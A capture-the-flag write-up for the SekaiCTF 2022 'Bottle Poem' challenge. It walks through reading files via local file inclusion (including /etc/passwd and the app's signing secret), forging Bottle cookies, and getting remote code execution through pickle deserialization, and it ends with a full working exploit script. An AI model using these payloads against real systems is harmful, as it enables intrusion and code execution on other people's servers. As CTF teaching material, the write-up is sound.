Bottle Poem

weblfisekaictf2022rcepicklebottlectf

Discovery

We are given a link to a website and no source code. Looking at the bottle poem website, we find a lot of links to poems:

<ul>
    <li><a class="..." href="/show?id=spring.txt">Spring</a></li>
    <li><a class="..." href="/show?id=Auguries_of_Innocence.txt">Auguries_of_Innocence</a></li>
    <li><a class="..." href="/show?id=The_tiger.txt">The_tiger</a></li>
</ul>

The id parameter looks vulnerable to a local file inclusion attack, so lets test it out by going to a url with a local file name in it, like http://bottle-poem.ctf.sekai.team/show?id=/etc/passwd. This works!

After trying other file locations and known file names without success, I had to find a more reliable way to find the source code of this website. That’s when I remembered the /proc filesystem.

Using the file /proc/self/cmdline, we can find out that the command currently being executed is the following:

python3 -u /app/app.py

By visiting http://bottle-poem.ctf.sekai.team/show?id=/app/app.py we get the web server source:

from bottle import route, run, template, request, response, error
from config.secret import sekai
import os
import re


@route("/")
def home():
    return template("index")


@route("/show")
def index():
    response.content_type = "text/plain; charset=UTF-8"
    param = request.query.id
    if re.search("^../app", param):
        return "No!!!!"
    requested_path = os.path.join(os.getcwd() + "/poems", param)
    try:
        with open(requested_path) as f:
            tfile = f.read()
    except Exception as e:
        return "No This Poems"
    return tfile


@error(404)
def error404(error):
    return template("error")


@route("/sign")
def index():
    try:
        session = request.get_cookie("name", secret=sekai)
        if not session or session["name"] == "guest":
            session = {"name": "guest"}
            response.set_cookie("name", session, secret=sekai)
            return template("guest", name=session["name"])
        if session["name"] == "admin":
            return template("admin", name=session["name"])
    except:
        return "pls no hax"


if __name__ == "__main__":
    os.chdir(os.path.dirname(__file__))
    run(host="0.0.0.0", port=8080)

We need to find the config secret to sign a cookie. From the import section, we can infer the folder and filename, so we fetch it:

http://bottle-poem.ctf.sekai.team/show?id=/app/config/secret.py

We now know the secret that is used to sign cookies:

sekai = "Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu"

Forging cookies

To actually forge a cookie, we need to know how the bottle framework signs cookies. To skip that, I just created a small webapp locally using the framework and let it set a cookie set with the same secret:

from bottle import route, run, response

@route("/")
def index():
    session = {"name": "admin"}
    response.set_cookie("name", session, secret="Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu")
    return "Done"

if __name__ == "__main__":
    run(host="0.0.0.0", port=8080)

We get a forged cookie for the admin user:

!rsOwvUb6jllVHQVOPlZv5w==?gAWVFwAAAAAAAACMBG5hbWWUfZRoAIwFYWRtaW6Uc4aULg==

But when we try to login to the /sign page, it tells us:

Hello, you are admin, but it’s useless. 

So, we have to look at something else…

Searching for another vulnerability

Bottle uses the SimpleTemplate template engine and we haven’t looked at the template files yet. Looking at the bottle docs tells us that the default search path is the views/ folder and templates have either a .tpl, .html or no extension):

http://bottle-poem.ctf.sekai.team/show?id=/app/views/index.html
http://bottle-poem.ctf.sekai.team/show?id=/app/views/guest.html
http://bottle-poem.ctf.sekai.team/show?id=/app/views/admin.html

I didn’t find anything in the template files, so I decided to dive deeper into the cookies.

Pickle RCE

Looking at the relevent bottle source code, we find out they use pickle to serialize the data within the cookie!

We now know the cookie structure:

"!<base64 encoded hmac>?<base64 encoded pickle blob that contains cookie name & value>"

The pickle module allows us to abuse a deserialization RCE vulnerability. Since we can forge cookie contents by using the leaked secret key, we can actually exploit this!

To create a malicious cookie, we reuse some code from the bottle framework and add our RCE exploit:

import os, hmac, hashlib, base64, pickle

def tob(s, enc='utf8'):
    if isinstance(s, str):
        return s.encode(enc)
    return b'' if s is None else bytes(s)

def touni(s, enc='utf8', err='strict'):
    if isinstance(s, bytes):
        return s.decode(enc, err)
    return str("" if s is None else s)

def create_cookie(name, value, secret):
    encoded = base64.b64encode(pickle.dumps([name, value], -1))
    sig = base64.b64encode(hmac.new(tob(secret), encoded, digestmod=hashlib.sha256).digest())
    value = touni(tob('!') + sig + tob('?') + encoded)
    return value

class PickleRCE(object):
    def __reduce__(self):
        import os
        return (os.system,("ls",))

session = {"name": PickleRCE()}
print(create_cookie("name", session, "Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu")) 

Running the script gives us the following signed cookie.

!g7o/7hbTCgAIJqre+u/TkDIC3X1MSA9ACwepauUwzPM=?gAWVMQAAAAAAAABdlCiMBG5hbWWUfZRoAYwFcG9zaXiUjAZzeXN0ZW2Uk5SMBmV4aXQgMZSFlFKUc2Uu

This didn’t work though, as we are redirected to the guest template (which can also happen if there is an exception). A closer look at the cookies shows us that the our forged cookie hmac signature length is not the same length as the one we get from the server.

# sha256   !GVUngXs7KtEfo0AgW5WZrrtezkJU4EcIKVDZuTVhSfM=?gAWVLQAAAAAAAABdlCiMBG5hbWWUfZRoAYwFcG9zaXiUjAZzeXN0ZW2Uk5SMAmxzlIWUUpRzZS4=
# sha1     !FOWR0RQSmOp1ZQ9J1q5gJfxI2g0=?gAWVMQAAAAAAAABdlCiMBG5hbWWUfZRoAYwFcG9zaXiUjAZzeXN0ZW2Uk5SMBmxzIC1sYZSFlFKUc2Uu
# md5      !1gRqddQMsxxj/bethE9pzg==?gAWVMQAAAAAAAABdlCiMBG5hbWWUfZRoAYwFcG9zaXiUjAZzeXN0ZW2Uk5SMBmxzIC1sYZSFlFKUc2Uu
# actual   !o8siMrdaVf83giE8crJurg==?gAWVFwAAAAAAAACMBG5hbWWUfZRoAIwFZ3Vlc3SUc4aULg==

Trying different hashing functions, we find out that the server actually uses md5 in the hmac function, not sha256 as it is used in the GitHub repository.

So, having changed hashlib.sha256 to hashlib.md5, we can use the RCE on against the server. However, we face a new challenge. The template only gets rendered if the cookie value is guest or admin, and not our result (a number, as os.system returns an int), as we can see in the following snippet in the server source code:

if not session or session["name"] == "guest":
    session = {"name": "guest"}
    response.set_cookie("name", session, secret=sekai)
    return template("guest", name=session["name"])
if session["name"] == "admin":
    return template("admin", name=session["name"])

So, my next idea was to write the output to a file and read it out with the LFI we found in the beginning. As we are likely a user that has very few permissions on the server (shared instance RCE would otherwise be a disaster), I tried to locations that every user likely can write to: /tmp and /dev/shm:

# ...
class PickleRCE(object):
    def __reduce__(self):
        import os
        return (os.system,("ls -la > /dev/shm/norelect.txt",))
# ...

After creating the cookie and running the exploit, I tried to fetch the command results using the LFI url:

http://bottle-poem.ctf.sekai.team/show?id=/dev/shm/norelect.txt

This works locally, but not on the server. Seems like the admins really locked down the user permissions and disabled the tmpfs.

Searching for another way to get the output back to me, I tried to set a response header from within the RCE:

# ...
class PickleRCE(object):
    def __reduce__(self):
        return (exec,("""
from bottle import response
import glob
response.set_header('X-Flag',glob.glob('/*'))
""",))
# ...

This works, also on the remote. Success!

x-flag: ['/dev', '/opt', '/root', '/media', '/usr', '/tmp', '/srv', '/bin', '/var', '/lib64', '/run', '/sbin', '/mnt', '/sys', '/proc', '/boot', '/home', '/etc', '/lib', '/flag', '/app']

We can see a glob match called /flag in our response above.

Trying to read it however fails with a server error.

# ...
class PickleRCE(object):
    def __reduce__(self):
        return (exec,("""
from bottle import response
import subprocess,base64
output = subprocess.check_output('ls -la /', shell=True)
response.set_header('X-Flag',base64.b64encode(output))
""",))
# ...

By running a shell command with subprocess.check_output, we can execute shell commands and get the stdout back as a string. (Notice how I now base64 encode the output, as it might contain newlines, which are invalid as header values contents)

By running the above shell command, we find out that we can only execute the binary, not read it (Which makes sense, as otherwise it would have been possible to download the flag just by using the LFI vulnerability and some guessing of flag paths, not actually achieving remote code execution):

---x--x--x   1 root root  568 Sep 15 06:37 flag

So, we use a shell command that runs the binary to get the flag:

# ...
class PickleRCE(object):
    def __reduce__(self):
        return (exec,("""
from bottle import response
import subprocess,base64
flag = subprocess.check_output('/flag', shell=True)
response.set_header('X-Flag',base64.b64encode(flag))
""",))
# ...

Full exploit script

If we put all of the above together, we get the following script:

import os, hmac, hashlib, base64, pickle, requests

def tob(s, enc='utf8'):
    if isinstance(s, str):
        return s.encode(enc)
    return b'' if s is None else bytes(s)

def touni(s, enc='utf8', err='strict'):
    if isinstance(s, bytes):
        return s.decode(enc, err)
    return str("" if s is None else s)

def create_cookie(name, value, secret):
    d = pickle.dumps([name, value], -1)
    encoded = base64.b64encode(d)
    sig = base64.b64encode(hmac.new(tob(secret), encoded, digestmod=hashlib.md5).digest())
    value = touni(tob('!') + sig + tob('?') + encoded)
    return value

class PickleRCE(object):
    def __reduce__(self):
        return (exec,("""
from bottle import response
import subprocess,base64
flag = subprocess.check_output('/flag', shell=True)
response.set_header('X-Flag',base64.b64encode(flag))
""",))

session = {"name": PickleRCE()}
cookie = create_cookie("name", session, "Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu")

r = requests.get("http://bottle-poem.ctf.sekai.team/sign", cookies={"name": cookie})
print(base64.b64decode(r.headers["x-flag"]).decode("ascii"))

This will automatically fetch the flag for us. Sweet!

SEKAI{W3lcome_To_Our_Bottle}